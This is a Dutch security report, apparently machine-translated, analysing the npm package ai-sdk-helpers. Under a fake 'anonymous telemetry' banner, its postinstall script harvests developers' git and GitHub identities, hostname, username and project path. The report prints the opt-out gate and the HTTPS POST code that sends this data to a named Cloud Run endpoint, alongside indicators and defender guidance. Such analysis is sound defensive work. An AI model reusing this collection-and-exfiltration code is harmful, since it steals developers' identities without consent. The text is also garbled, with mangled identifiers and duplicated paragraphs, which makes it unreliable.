TL; DR
Een enkel npm-pakket, ai-sdk-helpersHet presenteert zich als een productietoolkit voor de Vercel AI SDK en biedt functies voor kostenbewaking, terugval naar een andere provider en ondersteuning voor streaming.
Het installatiescript opent met een gelikte banner die een beschrijving geeft van de situatie. anonieme diagnoseswaarbij wordt beloofd dat er geen broncode, tokens of inloggegevens worden verzonden, en waarbij een DO_NOT_TRACK opt-out en een link naar een pagina met telemetriebeleid.
Hetzelfde script leest vervolgens de Git-identiteit van de ontwikkelaar, de GitHub CLI-configuratie, de hostnaam van de machine, de gebruikersnaam van het besturingssysteem, de werkmap en de CI-provider.
Die gegevens worden als JSON naar een Google Cloud Run-eindpunt verzonden, waardoor er een duidelijke discrepantie ontstaat tussen het aangegeven telemetriebeleid en de daadwerkelijk verzamelde velden.
Het pakket werd in tweeëntwintig versies uitgebracht binnen een tijdsbestek van 83 seconden, en het installatiescript is byte voor byte identiek in elke versie die als zodanig is gemarkeerd.
Zeven van de acht versies die door onze pipeline werden door de ML-classificator als onduidelijk beoordeeld omdat de opmaak van de toestemmingsbanner de indruk wekt van legitieme telemetrie.
Wij classificeren ai-sdk-helpers als kwaadaardig beschouwd vanwege het verzamelen en doorsluizen van ontwikkelaarsidentiteiten tijdens de installatie.
Ernstgraad: hoog.
Anatomie van de installatie
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } na installatie wordt automatisch uitgevoerd op npm installeren, voordat er ook maar iets van de geadverteerde code van het pakket wordt geïmporteerd. Het script scripts/postinstall.js Daar vindt u al het installatiegedrag plaats.
Het begint met een commentaarblok en een runtime-melding, geschreven in het register van een privacybewust open-sourceproject:
Wanneer u ai-sdk-helpers installeert, voeren we een snelle controle van de omgevingscompatibiliteit uit en rapporteren we anonieme diagnostische gegevens... De gegevens zijn volledig anoniem: we verzamelen uw platform, Node-versie en een eenrichtingshash van uw machine-ID. Er worden nooit broncode, tokens of inloggegevens verzonden.
Het zorgt zelfs voor een werkende opt-out-poort, de eerste uitvoerbare code in het bestand:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } Het feit dat je eerst deze poort sluit, zorgt ervoor dat de rest als een gezamenlijke beslissing overkomt: een ontwikkelaar die de poort sluit `D_NIET_VOLGEN De installatie wordt stilzwijgend voltooid en het pakket voldoet aan de conventie. De gerespecteerde opt-out is echt. Wat het blokkeert, voor iedereen die het niet instelt, is de hieronder beschreven verzameling — niet de engere "platform, Node-versie en een eenrichtingshash" zoals de melding het noemt.
Onder die poort stelt het script een payload samen die veel verder gaat dan die beschrijving.
- *Gt identiteit.* roplossenScmIdentiteit()` koppen `~.gitconfig`,`~.config/git/config`,en het huidige project.it/config`,parseert de `[ser]` sectie en retourneert de geconfigureerde commit e-mail. Als er geen e-mail wordt gegenereerd in het configuratiebestand, wordt teruggevallen op de `G`.T_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,en `EAIL omgevingsvariabelen. Een docstring boven de functie beschrijft het lezen als een manier om "installaties te dedupliceren op machines die eigendom zijn van dezelfde persoon (bijv. laptop + CI)" — een uitgesproken doel dat een stabiele identificatiecode per ontwikkelaar vereist, wat een commit e-mailbenodigdheden.
- *GtHub-account.* rsolveGitHubIdentity()` koppen `~.config/gh/hosts.yml` en `~.config/gh/hosts.yaml` het configuratiebestand dat door de GitHub CLI wordt geschreven wanneer een ontwikkelaar zich aanmeldt — en extraheert met behulp van reguliere expressies de `uer:` en `eail:` velden. Dat bestand bevat ook het GitHub OAuth-token; de reguliere expressie van het script richt zich specifiek op de gebruikersnaam- en e-mailregels en extraheert het token niet. De bewering in de privacyverklaring "er worden nooit tokens verzonden" is daarom letterlijk waar voor dat ene veld, terwijl de omliggende account-ID's wel worden gelezen en verzonden.
- *Hst en CI-vingerafdruk.* het script verzamelt vervolgens `o.hostname()`,`o.userInfo().username`,de Node-versie, het platform en de architectuur, `pocess.cwd()`,en een CI-providerlabel dat is bepaald door omgevingsvariabelen te controleren voor acht providers (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite en twee generieke CI-vlaggen). De providerlijst dient als een inventaris van waar het script verwacht te worden uitgevoerd: interactieve shells en geautomatiseerde builds. pipelines gelijk.
Al deze elementen zijn gegroepeerd in één enkele `d`.agnosten bject, waarbij de velden per ontwikkelaar zijn verzameld onder een `ientiteit ey en de hostgegevens onder `rntime` en `cntext` ogen, vervolgens geserialiseerd en verzonden:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); Het antwoord wordt genegeerd en alle fouten worden genegeerd — een opmerking vermeldt dat "telemetrie de installatie nooit mag verstoren". De hostnaam van het eindpunt codeert een Google Cloud Run-service in de `etouw-west1` regio.
De kloof is het verhaal. De banner noemt drie categorieën gegevens: platform, Node-versie en machine-identificatie-hash. De payload verstuurt de echte Git-repository van een ontwikkelaar. commit hun e-mailadres, hun GitHub-gebruikersnaam en -e-mailadres, hun machinehostnaam en OS-accountnaam, hun projectpad en hun CI-omgeving. De velden die een *p identificeren.rson en hun rekeningen* Het gaat hier precies om de velden die in de openbaarmaking worden weggelaten.
De README versterkt het standpunt van de andere partij. In het gedeelte 'Telemetrie' wordt de bewering over anonimiteit herhaald en wordt het woord 'D' eraan gekoppeld._NIET_VOLGEN o `cnsoledonottrack.com`,de echte communitypagina die de opt-out-conventie documenteert — gebruikmakend van een erkend privacybeleid standard om de mededeling als routine te laten overkomen.
Timeline
Dit betreft een vondst van één enkele verpakking met een zeer korte, maar zeer geconcentreerde publicatiegeschiedenis. Er is geen campagnetraject van meerdere weken te traceren — de volledige reeks versies werd in razendsnel tempo uitgebracht.
| Wanneer (UTC) | Evenementen |
|---|---|
| 2026-06-03 20:31:20 | Eerste versie (0.1.0) gepubliceerd op npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Alle 22 versies (0.1.0 brengt 1.4.2) gepubliceerd in een geautomatiseerde burst van 83 seconden. |
| 2026-06-04 | Acht versies werden als verdacht aangemerkt door detectiesignalen; handmatige analyse bevestigt het verzamelen en exfiltreren van identiteitsgegevens tijdens de installatie. Het pakket was ten tijde van de analyse nog steeds beschikbaar op npm. |
Het venster van 83 seconden over 22 semantische versies is op zichzelf een gedragsindicator: de versieladder (`01.0',`01.1',… `14.2`)Dit toont de buitenkant van een actief onderhouden project met een releasegeschiedenis, gegenereerd in één scriptuitvoering. Het installatiescript verandert niet in die reeks — zie hieronder.
Indicatoren van compromissen
De payload tijdens de installatie is identiek voor alle gepubliceerde versies. Een `dff` f `sripts/postinstall.js` tussen versie `02.1` nd versie `14.2` Geeft geen verschillen terug; het gedrag is één vaste vingerafdruk, geen evoluerende payload.
Netwerk
Het venster van 83 seconden over 22 semantische versies is op zichzelf een gedragsindicator: de versieladder (`01.0',`01.1',… `14.2`)Dit toont de buitenkant van een actief onderhouden project met een releasegeschiedenis, gegenereerd in één scriptuitvoering. Het installatiescript verandert niet in die reeks — zie hieronder.
Indicatoren van compromissen
De payload tijdens de installatie is identiek voor alle gepubliceerde versies. Een `dff` f `sripts/postinstall.js` tussen versie `02.1` nd versie `14.2` Geeft geen verschillen terug; het gedrag is één vaste vingerafdruk, geen evoluerende payload.
Netwerk
| Indicator | Rol |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Exfiltratie-eindpunt dat HTTPS POST-verzoeken met JSON-payloads ontvangt. Gehost op Google Cloud. Draait in de europe-west1 regio. |
Afleidingsinfrastructuur
| Indicator | Rol |
|---|---|
ai-sdk.guide | De homepage en live website van het pakket ondersteunen de identiteit van de auteur van de "AI SDK Guide". |
ai-sdk.guide/telemetry | De URL van het telemetriebeleid waarnaar wordt verwezen in de kennisgeving die tijdens de installatie is verstrekt. |
hello@ai-sdk.guide | E-mailadres van de auteur opgegeven in package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | De bronrepository die door het pakket is opgegeven. |
Bestanden die tijdens de installatie worden ingelezen.
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` mail
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uer` `eail`
Gedragskenmerken
- – m `pstinstall` ook het aanroepen van een gebundeld Node-script
- – opt-out poort (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NOT_TRACK`)gepresenteerd als een privacyfunctie, voorafgaand aan het verzamelen van identiteitsgegevens
- – tbound HTTPS POST van een JSON-object met git-e-mailadres, GitHub-identiteit, hostnaam, OS-gebruikersnaam, huidige werkmap en CI-label
- – identiek installatiescript voor een snel gepubliceerde versieladder
Toeschrijving en geobserveerd gedrag
We schrijven niets toe dat verder gaat dan wat de pakket- en registermetadata vastleggen.
De officiële beheerder van npm is het account `aielsimon`,met het adres `aiel@vigilance.security`.Het register vermeldt dat e-mailadres als niet geverifieerd en de versiebeheeridentiteit van het account eveneens als niet geverifieerd. De `pckage.json`,afzonderlijk wordt de auteur gepresenteerd als "AI SDK Guide".ello@ai-sdk.guide>`”met een homepage van `a-sdk.guide` en een bronrepository onder een `gthub.com/ai-sdk-guide` organisatie. Het e-maildomein van het publicatieaccount (`vigilance.security`)en de in-package auteursidentiteit (`a-sdk.guide`)zijn verschillende domeinen.
De `a-sdk.guide` ite is live en reageert, en de `/elemetrie ath lost het op — de misleidende identiteit wordt ondersteund door een bereikbare website in plaats van een dode link, wat de geloofwaardigheid van de presentatie van het pakket vergroot.
**Waargenomen functionaliteit.** Tijdens de installatie leest het pakket de identiteits- en accountconfiguratiebestanden van de ontwikkelaar, maakt een digitale vingerafdruk van de host en de CI-omgeving en verzendt het resultaat naar een door de operator beheerd eindpunt, terwijl een melding wordt weergegeven die een beperktere en geanonimiseerde dataset beschrijft. We beschrijven dit gedrag; we beweren niet wat de achterliggende motivatie is. Lezers die het pakket beoordelen – inclusief iedereen die de publicerende identiteit herkent – dienen de waarneembare discrepantie tussen de vermelde en de daadwerkelijke gegevensstromen in overweging te nemen.
Impact, trends en richtlijnen voor verdedigers
Wie wordt blootgesteld? Iedereen die installeert ai-sdk-helpers — direct of als een transitieve afhankelijkheid — voert de verzameling uit op die machine. Omdat de trigger na installatieDe geadverteerde bibliotheekcode hoeft nooit te worden geïmporteerd om de gegevensstroom te laten plaatsvinden; de installatie alleen is voldoende. De meest waardevolle omgevingen zijn ontwikkelwerkstations met een geconfigureerde Git-identiteit en een geauthenticeerde GitHub CLI, en CI-runners, waar de CI-providerdetectie van het script aangeeft dat de collectie naar verwachting binnen de build zal worden uitgevoerd. pipelines en ook op laptops.
Wat het aan het licht brengt. Het gaat in het algemeen niet om applicatiegeheimen — de payload is gericht op identiteit: de ontwikkelaar commit e-mailadres, hun GitHub-accountnaam en -e-mailadres, de machine- en accountnamen en het projectpad. Dat is een vooronderzoek.cisEen kaart van wie het pakket heeft geïnstalleerd, op welke machine, in welke repository en onder welk CI-systeem. Voor een organisatie zou een handvol van dergelijke records samen een overzicht geven van welke engineers en welke buildsystemen de afhankelijkheid hebben opgehaald — nuttig als voorloper van meer gerichte vervolgacties, ook al stopt het gedrag van dit pakket zelf bij het verzamelen en verzenden ervan.
De trend: telemetrie als dekmantel. Legitieme ontwikkelaarstools verzamelen wel degelijk geanonimiseerde installatiediagnostiek, en de conventies om dit op een respectvolle manier te doen – een openbaarmakingsverklaring, een NIET VOLGEN Een vlaggetje om je af te melden, een URL naar het beleid — dat zijn bekende begrippen. ai-sdk-helpers Het reproduceert al die vier conventies getrouw en gebruikt ze als omhulsel voor het verzamelen van identiteitsgegevens. De aanwezigheid van een toestemmingsbanner, een werkende opt-out of een link naar het privacybeleid is geen bewijs dat een pakket betrouwbaar is; die controles zijn goedkoop na te bootsen. De enige betrouwbare controle is wat de code daadwerkelijk leest en waar deze het daadwerkelijk naartoe stuurt.
Deze verpakking heeft ook een meetbaar effect op geautomatiseerde triage. In alle versies van onze verpakking is dit effect merkbaar. pipeline Na beoordeling bleken de commentaren in begrijpelijke taal, de gestructureerde veldnamen en de conventionele opt-out-gateway van het installatiescript als gewone telemetrie te worden beschouwd: zeven van de acht bleken positief. niet overtuigend Het signaal dat de ambiguïteit oplost, is afkomstig van de ML-classificator en niet van kwaadaardige aard. Het signaal zit niet in de tekst zelf, maar in de specifieke bestanden die het script opent.~ / .gitconfig, ~/.config/gh/hosts.yml) en de bestemming waarnaar het wordt verzonden. Een beoordelaar, geautomatiseerd of menselijk, die de openbaarmaking leest en daar stopt, zal tot een verkeerde conclusie komen; de beoordeling moet gebaseerd zijn op de feiten van de gegevensstroom.
Richtlijnen voor verdedigers:
- Installeren met scripts standaard uitgeschakeld — npm install –ignore-scripts, of instellen negeer-scripts=true in .npmrc en voer expliciet goedgekeurde bouwstappen uit. Dit neutraliseert na installatie-geactiveerde verzameling over de hele linie.
- Beschouw opt-out-opties niet als vertrouwenssignalen. NIET VOLGEN Een controle of een link naar het "telemetriebeleid" geeft geen informatie over de gegevens die een script verzamelt wanneer de poort niet is ingesteld.
- Lees de installatiehandleiding voordat u hulppakketten voor het AI-ecosysteem in gebruik neemt. De Vercel AI SDK-omgeving is een snel veranderende omgeving die veel vertrouwen vereist; een na installatie dat raakt ~ / .gitconfig or ~/.config/gh/ Het is een duidelijk signaal, ongeacht hoe de omringende commentaren zijn geschreven.
- Monitor uitgaand verkeer tijdens de build-fase. Een uitgaande HTTPS POST tijdens npm installerenDit, met name bij een nieuw geconfigureerd cloud-function-eindpunt, is waarneembaar op netwerkniveau en vormt een belangrijk detectiepunt voor CI-omgevingen.
- Let op gecomprimeerde versiegeschiedenis. Een pakket waarvan de volledige semantische versiegeschiedenis binnen enkele seconden verschijnt, met een ongewijzigd installatiescript, presenteert een gefabriceerde onderhoudsgeschiedenis.





